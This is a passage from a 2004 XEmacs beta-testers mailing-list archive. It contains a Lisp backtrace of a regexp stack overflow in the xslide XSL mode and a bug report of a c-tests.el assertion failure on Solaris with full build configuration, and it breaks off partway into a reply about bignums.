Florian writes: > > Florian> If you need further Information please let me know. I can > Florian> also provide a back trace ... But I don't know how to > Florian> send that in a propper way to you .... > > I have not been able to reproduce the behavior, and without a > backtrace can do no more. > > Set debug-on-error to t, elicit the bug, get the contents of the > buffer that pops up, and send them in an ordinary email (preferably as > a reply to this thread) or in a bug report. Signaling: (error "Stack overflow in regexp matcher") string-match("\\([^\\\\[]\\|\\\\[^(]\\|\\[^?]?\\([^][]\\|\\[\\([^]:]\\|:\\([a-z]+:]\\)?\\)\\)*\\[?]\\|\\\\(\\?:\\)*" "\\(a\\(?:bsolute-position\\|ctive-state\\|lignment-\\(?:adjust\\|baseline\\)\\|uto-restore\\|zimuth\\)\\|b\\(?:a\\(?:ckground\\(?:-\\(?:attachment\\|color\\|image\\|position\\(?:-\\(?:horizontal\\|vertical\\)\\)?\\|repeat\\)\\)?\\|seline-shift\\)\\|l\\(?:ank-or-not-blank\\|ock-progression-dimension\\(?:\\.\\(?:m\\(?:aximum\\|inimum\\)\\|optimum\\)\\)?\\)\\|o\\(?:rder\\(?:-\\(?:after-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|b\\(?:efore-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|ottom\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\)\\|col\\(?:lapse\\|or\\)\\|end-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|left\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|right\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|s\\(?:eparation\\.\\(?:block-progre ssion-direction\\|inline-progression-direction\\)\\|pacing\\|t\\(?:art-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|yle\\)\\)\\|top\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|width\\)\\)?\\|ttom\\)\\|reak-\\(?:after\\|before\\)\\)\\|c\\(?:a\\(?:ption-side\\|se-\\(?:name\\|title\\)\\)\\|data-section-elements\\|haracter\\|l\\(?:ear\\|ip\\)\\|o\\(?:l\\(?:or\\(?:-profile-name\\)?\\|umn-\\(?:count\\|gap\\|number\\|width\\)\\)\\|ntent-\\(?:height\\|type\\|width\\)\\|unt\\(?:ry\\)?\\)\\|ue\\(?:-\\(?:after\\|before\\)\\)?\\)\\|d\\(?:ata-type\\|e\\(?:cimal-separator\\|stination-placement-offset\\)\\|i\\(?:git\\|rection\\|s\\(?:able-output-escaping\\|play-align\\)\\)\\|o\\(?:ctype-\\(?:public\\|system\\)\\|minant-baseline\\)\\)\\|e\\(?:le\\(?:ments\\|vation\\)\\|mpty-cells\\|n\\(?:coding\\|d\\(?:-indent\\|s-row\\)\\)\\|x\\(?:clude-result-prefixes\\|te\\(?:n\\(?:sion-element-prefixes\\|t\\)\\|rnal-destination\\) \\)\\)\\|f\\(?:lo\\(?:at\\|w-name\\)\\|o\\(?:nt\\(?:-\\(?:family\\|s\\(?:election-strategy\\|ize\\(?:-adjust\\)?\\|t\\(?:retch\\|yle\\)\\)\\|variant\\|weight\\)\\)?\\|r\\(?:ce-page-count\\|mat\\(?:\\)?\\)\\)\\|rom\\)\\|g\\(?:lyph-orientation-\\(?:horizontal\\|vertical\\)\\|rouping-s\\(?:eparator\\(?:\\)?\\|ize\\(?:\\)?\\)\\)\\|h\\(?:eight\\|ref\\|yphenat\\(?:e\\|ion-\\(?:character\\|keep\\|ladder-count\\|push-character-count\\|remain-character-count\\)\\)\\)\\|i\\(?:n\\(?:d\\(?:ent\\|icate-destination\\)\\|finity\\|itial-page-number\\|line-progression-dimension\\(?:\\.\\(?:m\\(?:aximum\\|inimum\\)\\|optimum\\)\\)?\\|t\\(?:ernal-destination\\|rusion-displace\\)\\)\\|[d]\\)\\|keep-\\(?:together\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\|with-\\(?:next\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\|previous\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\)\\)\\|l\\(?:a\\(?:ng\\(?:uage\\)?\\|st-line-end-indent\\)\\|e\\(?:ader-\\(?:alignment\\|length\\(?:\\.\\(?:m\\(?:aximum\\|ini mum\\)\\|optimum\\)\\)?\\|pattern\\(?:-width\\)?\\)\\|ft\\|tter-\\(?:spacing\\|value\\(?:\\)?\\)\\|vel\\)\\|ine\\(?:-\\(?:height\\(?:-shift-adjustment\\|\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|stacking-strategy\\)\\|feed-treatment\\)\\)\\|m\\(?:a\\(?:r\\(?:gin\\(?:-\\(?:bottom\\|left\\|right\\|top\\)\\)?\\|ker-class-name\\)\\|ster-\\(?:name\\|reference\\)\\|tch\\|x\\(?:-\\(?:height\\|width\\)\\|imum-repeats\\)\\)\\|e\\(?:dia-\\(?:type\\|usage\\)\\|thod\\)\\|in\\(?:-\\(?:height\\|width\\)\\|us-sign\\)\\|ode\\)\\|n\\(?:-digits-per-group\\|ame\\(?:space\\)?\\|umber-\\(?:columns-\\(?:repeated\\|spanned\\)\\|rows-spanned\\)\\)\\|o\\(?:dd-or-even\\|mit-xml-declaration\\|r\\(?:der\\|phans\\)\\|verflow\\)\\|p\\(?:a\\(?:dding\\(?:-\\(?:after\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|b\\(?:efore\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|ottom\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|end\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|left\\(? :\\.\\(?:conditionality\\|length\\)\\)?\\|right\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|start\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|top\\)\\)?\\|ge-\\(?:break-\\(?:after\\|before\\|inside\\)\\|height\\|position\\|width\\)\\|ttern-separator\\|use\\(?:-\\(?:after\\|before\\)\\)?\\)\\|er\\(?:-mille\\|cent\\)\\|itch\\(?:-range\\)?\\|lay-during\\|osition\\|r\\(?:ecedence\\|iority\\|ovisional-\\(?:distance-between-starts\\|label-separation\\)\\)\\)\\|r\\(?:e\\(?:f\\(?:-id\\|erence-orientation\\)\\|gion-name\\|lative-\\(?:align\\|position\\)\\|ndering-intent\\|sult-prefix\\|trieve-\\(?:boundary\\|class-name\\|position\\)\\)\\|i\\(?:chness\\|ght\\)\\|ole\\|ule-\\(?:style\\|thickness\\)\\)\\|s\\(?:c\\(?:aling\\(?:-method\\)?\\|ore-spaces\\|ript\\)\\|elect\\|how-destination\\|ize\\|ource-document\\|p\\(?:a\\(?:ce-\\(?:after\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|before\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|p recedence\\)\\)?\\|end\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|start\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\)\\|n\\)\\|e\\(?:ak\\(?:-\\(?:header\\|numeral\\|punctuation\\)\\)?\\|ech-rate\\)\\)\\|rc\\|t\\(?:a\\(?:ndalone\\|rt\\(?:-indent\\|ing-state\\|s-row\\)\\)\\|ress\\|ylesheet-prefix\\)\\|uppress-at-line-break\\|witch-to\\)\\|t\\(?:a\\(?:ble-\\(?:layout\\|omit-\\(?:footer-at-break\\|header-at-break\\)\\)\\|rget-\\(?:pr\\(?:esentation-context\\|ocessing-context\\)\\|stylesheet\\)\\)\\|e\\(?:rminate\\|st\\|xt-\\(?:al\\(?:ign\\(?:-last\\)?\\|titude\\)\\|de\\(?:coration\\|pth\\)\\|indent\\|shadow\\|transform\\)\\)\\|op\\|reat-as-word-space\\)\\|u\\(?:nicode-bidi\\|se\\(?:-attribute-sets\\)?\\)\\|v\\(?:alue\\|er\\(?:sion\\|tical-align\\)\\|isibility\\|o\\(?:ice-family\\|lume\\)\\)\\|w\\(?:hite-space\\(?:-\\(?:collapse\\|treatment\\)\\)?\\|id\\(?:ows\\|th\\)\\|ord-spacing\\|r\\(?:ap-option\\|itin g-mode\\)\\)\\|xml\\(?::lang\\|ns\\(?::\\(?:fo\\|xsl\\)\\)?\\)\\|z\\(?:-index\\|ero-digit\\)\\)" 2) regexp-opt-depth("\\(a\\(?:bsolute-position\\|ctive-state\\|lignment-\\(?:adjust\\|baseline\\)\\|uto-restore\\|zimuth\\)\\|b\\(?:a\\(?:ckground\\(?:-\\(?:attachment\\|color\\|image\\|position\\(?:-\\(?:horizontal\\|vertical\\)\\)?\\|repeat\\)\\)?\\|seline-shift\\)\\|l\\(?:ank-or-not-blank\\|ock-progression-dimension\\(?:\\.\\(?:m\\(?:aximum\\|inimum\\)\\|optimum\\)\\)?\\)\\|o\\(?:rder\\(?:-\\(?:after-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|b\\(?:efore-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|ottom\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\)\\|col\\(?:lapse\\|or\\)\\|end-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|left\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|right\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|s\\(?:eparation\ \.\\(?:block-progression-direction\\|inline-progression-direction\\)\\|pacing\\|t\\(?:art-\\(?:color\\|precedence\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|yle\\)\\)\\|top\\(?:-\\(?:color\\|style\\|width\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\)?\\|width\\)\\)?\\|ttom\\)\\|reak-\\(?:after\\|before\\)\\)\\|c\\(?:a\\(?:ption-side\\|se-\\(?:name\\|title\\)\\)\\|data-section-elements\\|haracter\\|l\\(?:ear\\|ip\\)\\|o\\(?:l\\(?:or\\(?:-profile-name\\)?\\|umn-\\(?:count\\|gap\\|number\\|width\\)\\)\\|ntent-\\(?:height\\|type\\|width\\)\\|unt\\(?:ry\\)?\\)\\|ue\\(?:-\\(?:after\\|before\\)\\)?\\)\\|d\\(?:ata-type\\|e\\(?:cimal-separator\\|stination-placement-offset\\)\\|i\\(?:git\\|rection\\|s\\(?:able-output-escaping\\|play-align\\)\\)\\|o\\(?:ctype-\\(?:public\\|system\\)\\|minant-baseline\\)\\)\\|e\\(?:le\\(?:ments\\|vation\\)\\|mpty-cells\\|n\\(?:coding\\|d\\(?:-indent\\|s-row\\)\\)\\|x\\(?:clude-result-prefixes\\|te\\(?:n\\(?:sion-element-prefixes\\|t\\)\\| rnal-destination\\)\\)\\)\\|f\\(?:lo\\(?:at\\|w-name\\)\\|o\\(?:nt\\(?:-\\(?:family\\|s\\(?:election-strategy\\|ize\\(?:-adjust\\)?\\|t\\(?:retch\\|yle\\)\\)\\|variant\\|weight\\)\\)?\\|r\\(?:ce-page-count\\|mat\\(?:\\)?\\)\\)\\|rom\\)\\|g\\(?:lyph-orientation-\\(?:horizontal\\|vertical\\)\\|rouping-s\\(?:eparator\\(?:\\)?\\|ize\\(?:\\)?\\)\\)\\|h\\(?:eight\\|ref\\|yphenat\\(?:e\\|ion-\\(?:character\\|keep\\|ladder-count\\|push-character-count\\|remain-character-count\\)\\)\\)\\|i\\(?:n\\(?:d\\(?:ent\\|icate-destination\\)\\|finity\\|itial-page-number\\|line-progression-dimension\\(?:\\.\\(?:m\\(?:aximum\\|inimum\\)\\|optimum\\)\\)?\\|t\\(?:ernal-destination\\|rusion-displace\\)\\)\\|[d]\\)\\|keep-\\(?:together\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\|with-\\(?:next\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\|previous\\(?:\\.within-\\(?:column\\|line\\|page\\)\\)?\\)\\)\\|l\\(?:a\\(?:ng\\(?:uage\\)?\\|st-line-end-indent\\)\\|e\\(?:ader-\\(?:alignment\\|length\\(?:\\.\\(? :m\\(?:aximum\\|inimum\\)\\|optimum\\)\\)?\\|pattern\\(?:-width\\)?\\)\\|ft\\|tter-\\(?:spacing\\|value\\(?:\\)?\\)\\|vel\\)\\|ine\\(?:-\\(?:height\\(?:-shift-adjustment\\|\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|stacking-strategy\\)\\|feed-treatment\\)\\)\\|m\\(?:a\\(?:r\\(?:gin\\(?:-\\(?:bottom\\|left\\|right\\|top\\)\\)?\\|ker-class-name\\)\\|ster-\\(?:name\\|reference\\)\\|tch\\|x\\(?:-\\(?:height\\|width\\)\\|imum-repeats\\)\\)\\|e\\(?:dia-\\(?:type\\|usage\\)\\|thod\\)\\|in\\(?:-\\(?:height\\|width\\)\\|us-sign\\)\\|ode\\)\\|n\\(?:-digits-per-group\\|ame\\(?:space\\)?\\|umber-\\(?:columns-\\(?:repeated\\|spanned\\)\\|rows-spanned\\)\\)\\|o\\(?:dd-or-even\\|mit-xml-declaration\\|r\\(?:der\\|phans\\)\\|verflow\\)\\|p\\(?:a\\(?:dding\\(?:-\\(?:after\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|b\\(?:efore\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|ottom\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\)\\|end\\(?:\\.\\(?:conditionality\\|lengt h\\)\\)?\\|left\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|right\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|start\\(?:\\.\\(?:conditionality\\|length\\)\\)?\\|top\\)\\)?\\|ge-\\(?:break-\\(?:after\\|before\\|inside\\)\\|height\\|position\\|width\\)\\|ttern-separator\\|use\\(?:-\\(?:after\\|before\\)\\)?\\)\\|er\\(?:-mille\\|cent\\)\\|itch\\(?:-range\\)?\\|lay-during\\|osition\\|r\\(?:ecedence\\|iority\\|ovisional-\\(?:distance-between-starts\\|label-separation\\)\\)\\)\\|r\\(?:e\\(?:f\\(?:-id\\|erence-orientation\\)\\|gion-name\\|lative-\\(?:align\\|position\\)\\|ndering-intent\\|sult-prefix\\|trieve-\\(?:boundary\\|class-name\\|position\\)\\)\\|i\\(?:chness\\|ght\\)\\|ole\\|ule-\\(?:style\\|thickness\\)\\)\\|s\\(?:c\\(?:aling\\(?:-method\\)?\\|ore-spaces\\|ript\\)\\|elect\\|how-destination\\|ize\\|ource-document\\|p\\(?:a\\(?:ce-\\(?:after\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|before\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inim um\\)\\|optimum\\|precedence\\)\\)?\\|end\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\|start\\(?:\\.\\(?:conditionality\\|m\\(?:aximum\\|inimum\\)\\|optimum\\|precedence\\)\\)?\\)\\|n\\)\\|e\\(?:ak\\(?:-\\(?:header\\|numeral\\|punctuation\\)\\)?\\|ech-rate\\)\\)\\|rc\\|t\\(?:a\\(?:ndalone\\|rt\\(?:-indent\\|ing-state\\|s-row\\)\\)\\|ress\\|ylesheet-prefix\\)\\|uppress-at-line-break\\|witch-to\\)\\|t\\(?:a\\(?:ble-\\(?:layout\\|omit-\\(?:footer-at-break\\|header-at-break\\)\\)\\|rget-\\(?:pr\\(?:esentation-context\\|ocessing-context\\)\\|stylesheet\\)\\)\\|e\\(?:rminate\\|st\\|xt-\\(?:al\\(?:ign\\(?:-last\\)?\\|titude\\)\\|de\\(?:coration\\|pth\\)\\|indent\\|shadow\\|transform\\)\\)\\|op\\|reat-as-word-space\\)\\|u\\(?:nicode-bidi\\|se\\(?:-attribute-sets\\)?\\)\\|v\\(?:alue\\|er\\(?:sion\\|tical-align\\)\\|isibility\\|o\\(?:ice-family\\|lume\\)\\)\\|w\\(?:hite-space\\(?:-\\(?:collapse\\|treatment\\)\\)?\\|id\\(?:ows\\|th\\)\\|ord-spacing\\|r\\ (?:ap-option\\|iting-mode\\)\\)\\|xml\\(?::lang\\|ns\\(?::\\(?:fo\\|xsl\\)\\)?\\)\\|z\\(?:-index\\|ero-digit\\)\\)") byte-code("..." [xsl-xslt-alternate-face xsl-xslt-ns-prefix xsl-fo-attribute-symbol-alist-regexp-depth xsl-fo-attribute-symbol-alist-regexp xsl-attributes-alist-regexp-depth xsl-attributes-alist-regexp ("\\(<\\?\\)\\(xml\\)\\(\\s-+version\\s-*=\\s-*\\('[^']+'\\|\"[^\"]+\"\\)\\)?\\(\\s-+encoding\\s-*=\\s-*\\('[^']+'\\|\"[^\"]+\"\\)\\)?\\(\\s-+standalone\\s-*=\\s-*\\('\\(yes\\|no\\)'\\|\"\\(yes\\|no\\)\"\\)\\)?\\s-*\\(\\?>\\)" (1 font-lock-keyword-face) (2 font-lock-type-face nil) (3 font-lock-type-face nil t) (5 font-lock-type-face nil t) (7 font-lock-type-face nil t) (11 font-lock-keyword-face)) ("\\(<\\?\\)\\([^ ?>]+\\)[ ]*\\([^?>]\\|\\?[^>]\\|>[^\n ]\\)*\\(\\?>\\)" (1 font-lock-keyword-face) (2 font-lock-variable-name-face) (4 font-lock-keyword-face)) ("\\(]\\|/[^>]\\)+\\)*\\(/?>\\|$\\)" (1 xsl-fo-main-face) (2 xsl-fo-alternate-face) (3 xsl-fo-main-face) "]\\|/[^>]\\)*\\(/?>\\)" (2 xsl-fo-main-face) "\\)\\(\\s-+[^= ]+[ ]*=[ ]*\\('[^']*'\\|\"[^\"]*\"\\)\\)*\\s-*\\(/?>\\)" (1 xsl-xslt-main-face) (2 xsl-xslt-alternate-face) (3 xsl-xslt-main-face) ":\\S-+\\(\\s-+[^=> ]+[ ]*=[ ]*\\('[^']*'\\|\"[^\"]*\"\\)\\)*\\s-*\\(/?>\\)" (3 xsl-xslt-main-face) t regexp-opt-depth "\\b\\(" "[ ]*=[ ]*\"\\)" "\\([^\"<]*\\)" "\\(\"\\)" 1 2 3 "[ ]*=[ ]*'\\)" "\\([^'<]*\\)" "\\('\\)" append ("\\('\\)[^']*\\('\\)" (1 font-lock-string-face) (2 font-lock-string-face)) ("\\(\"\\)[^\"]*\\(\"\\)" (1 font-lock-string-face) (2 font-lock-string-face)) ("'\\([^{'<]\\|{{\\)*\\({[^'}<]*}\\)\\([^{'<]\\|{{\\)*'" (2 font-lock-variable-name-face t)) ("\"\\([^{\"<]\\|{{\\)*\\({[^\"}<]*}\\)\\([^{\"<]\\|{{\\)*\"" (2 font-lock-variable-name-face t)) "<" ":text>" "\\([^<]*\\)" "]\\|/[^>]\\)*/?>\\)" ...] 22) (defvar xsl-font-lock-keywords (byte-code "ÆÇÈÉ9ÊËÌÍ<\"!ΰÏÐÑFÒ9ÓQÔDÉ ÊËÌÍ=\"!Õ°Ö×ØFÒ ÙQÚDËÌÍ:\"Û\"Ü !Ý Þßà°áD â\\7D ã\\DF*ËÌÍ:\"Û\"Ü !Ý äåæ°áD â\\7D ã\\DF*ËÌÍ;\"Û\"Ü !Ý Þßà°á8çE\nâ\\7D\nã\\8DF*ËÌÍ;\"Û\"Ü !Ý äåæ°á8çE\nâ\\7D\nã\\8DF*èéêëì íîï í°ðDñòDóôDõö¯‡" [xsl-xslt-alternate-face xsl-xslt-ns-prefix xsl-fo-attribute-symbol-alist-regexp-depth xsl-fo-attribute-symbol-alist-regexp xsl-attributes-alist-regexp-depth xsl-attributes-alist-regexp ... ... ... "\\(]\\|/[^>]\\)+\\)*\\(/?>\\|$\\)" ... ... ... "]\\|/[^>]\\)*\\(/?>\\)" ... "\\)\\(\\s-+[^= ]+[ ]*=[ ]*\\('[^']*'\\|\"[^\"]*\"\\)\\)*\\s-*\\(/?>\\)" ... ... ... ":\\S-+\\(\\s-+[^=> ]+[ ]*=[ ]*\\('[^']*'\\|\"[^\"]*\"\\)\\)*\\s-*\\(/?>\\)" ... t regexp-opt-depth "\\b\\(" "[ ]*=[ ]*\"\\)" "\\([^\"<]*\\)" "\\(\"\\)" 1 2 3 "[ ]*=[ ]*'\\)" "\\([^'<]*\\)" "\\('\\)" append ... ... ... ... "<" ":text>" "\\([^<]*\\)" "]\\|/[^>]\\)*/?>\\)" ...] 22) ("//usr/share/xemacs/xemacs-packages/lisp/xslide/xslide-font.elc" . 2411)) load-internal("xslide-font" nil t nil binary) load("xslide-font" nil t nil) require(xslide-font "xslide-font") byte-code("..." [xsl-fsfemacs-p xsl-xemacs-p current-load-list provide xslide require cl compile font-lock nil (byte-code "ÀÁ!‡" [require imenu] 2) ((error)) etags xslide-data "xslide-data" xslide-abbrev "xslide-abbrev" xslide-font "xslide-font" xslide-process "xslide-process"] 4) load-internal("xslide" nil nil nil binary) load("xslide" nil nil nil) command-execute(xsl-mode t) execute-extended-command(nil) call-interactively(execute-extended-command) -- http://www.reichertnet.de From xemacs-beta-admin@xemacs.org Tue Apr 6 16:35:37 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36KY1s01983; Tue, 6 Apr 2004 16:34:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36KXZI01920 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 16:33:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36KXXn01892 for turnbull@tux.org; Tue, 6 Apr 2004 16:33:33 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36KXVs01888 for ; Tue, 6 Apr 2004 16:33:32 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i36KXJDu020930 for ; Tue, 6 Apr 2004 15:33:19 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i36KXJHS005615; Tue, 6 Apr 2004 15:33:19 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i36KXITa005613; Tue, 6 Apr 2004 15:33:18 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: 21.5 Solaris 5.8 assertion failure in c-tests.el From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Tue, 06 Apr 2004 15:33:18 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= When doing a "make check" on an Ultrasparc Solaris 5.8 box, I got an assertion failure in c-tests.el: Testing /tools/xemacs/distribution/xemacs-21.5/tests/automated/c-tests.el... Fatal error: assertion failed, file /tools/xemacs/distribution/xemacs-21.5/src/tests.c, line 365, !memcmp (BYTE_BUF_BYTE_ADDRESS (current_buffer, charbpos_to_bytebpos (current_buffer, ((current_buffer)->bufpt + 0))), int_foo, sizeof (int_foo) - 1) When the code reaches this point in tests.c: /* &&#### needs some 8-bit work here */ DFC_CHECK_DATA (BUF_BYTE_ADDRESS (current_buffer, BUF_PT (current_buffer)), sizeof (int_foo) - 1, int_foo); the contents of current_buffer are "\r\n\r\nfoo\r\nbar", but int_foo is "\n\nfoo\nbar". I'll attach the Installation file for this XEmacs. It is a no-MULE build. I'll try MULE next. I am building from latest CVS with bignums enabled, so this might be my fault. --=-=-= Content-Disposition: attachment; filename=Installation Content-Description: Installation uname -a: SunOS wizard 5.8 Generic_108528-11 sun4u sparc SUNW,Ultra-60 ../xemacs-21.5/configure '--cflags=-mcpu=hypersparc -O -g3 -pipe' '--site-prefixes=/tools/xemacs/distribution/libs/solaris5.8 /usr/dt' '--site-runtime-libraries=/usr/dt/lib /usr/openwin/lib' '--with-pop' '--with-workshop' '--with-widgets' '--with-dragndrop' '--with-cde' '--use-number-lib=mp' '--package-path=/tools/xemacs/xemacs-packages' XEmacs 21.5-b17 "chayote" (+CVS-20040405) configured for `sparc-sun-solaris2.8'. Compilation Environment and Installation Defaults: Source code location: /tools/xemacs/distribution/xemacs-21.5 Installation prefix: /usr/local Additional prefixes: /tools/xemacs/distribution/libs/solaris5.8 /usr/dt Runtime library search path: /usr/dt/lib:/usr/openwin/lib Operating system description file: `s/sol2.h' Machine description file: `m/sparc.h' Compiler version: 2.95.3 - GCC specs file: /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/2.95.3/specs - Compiler command: gcc -mcpu=hypersparc -O -g3 -pipe libc version: SUNWcsl 11.8.0,REV=2000.01.08.18.12 Relocating allocator for buffers: yes GNU version of malloc: yes Window System: Compiling in support for the X window system: - X Windows headers location: /usr/openwin/include - X Windows libraries location: /usr/openwin/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. Using Motif dialog boxes. Using Motif native widgets. Compiling in support for Drag'n'Drop (EXPERIMENTAL). - Drag'n'Drop prototype: CDE. TTY: Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for X-Face message headers. Sound: Compiling in support for sound (native). Databases: Compiling in support for DBM. Compiling in support for LDAP. Internationalization: Mail: Compiling in support for POP mail retrieval. Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for ToolTalk. Compiling in support for Sun WorkShop. Compiling in support for dynamic shared object modules. Compiling in support for more number types using the BSD MP library. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- --=-=-= Is there any way we can make those tests print the buffer contents and the constant string they are comparing against when they fail, rather than just reporting the assertion failure? -- Jerry James http://www.ittc.ku.edu/~james/ --=-=-=-- From xemacs-beta-admin@xemacs.org Tue Apr 6 18:43:38 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36Mg1s31719; Tue, 6 Apr 2004 18:42:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36MfDT31573 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 18:41:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36MfCt31560 for turnbull@tux.org; Tue, 6 Apr 2004 18:41:12 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i36MfBs31555 for ; Tue, 6 Apr 2004 18:41:11 -0400 Received: (qmail 2045 invoked from network); 7 Apr 2004 00:41:05 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 7 Apr 2004 00:41:05 +0200 Received: (qmail 8722 invoked from network); 7 Apr 2004 00:41:04 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 7 Apr 2004 00:41:04 +0200 To: Jerry James Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Wed, 07 Apr 2004 00:42:16 +0200 In-Reply-To: (Jerry James's message of "Tue, 06 Apr 2004 11:54:57 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > I'm so ignorant when it comes to dumping that I didn't even know > that was possible. Okay, it sounds 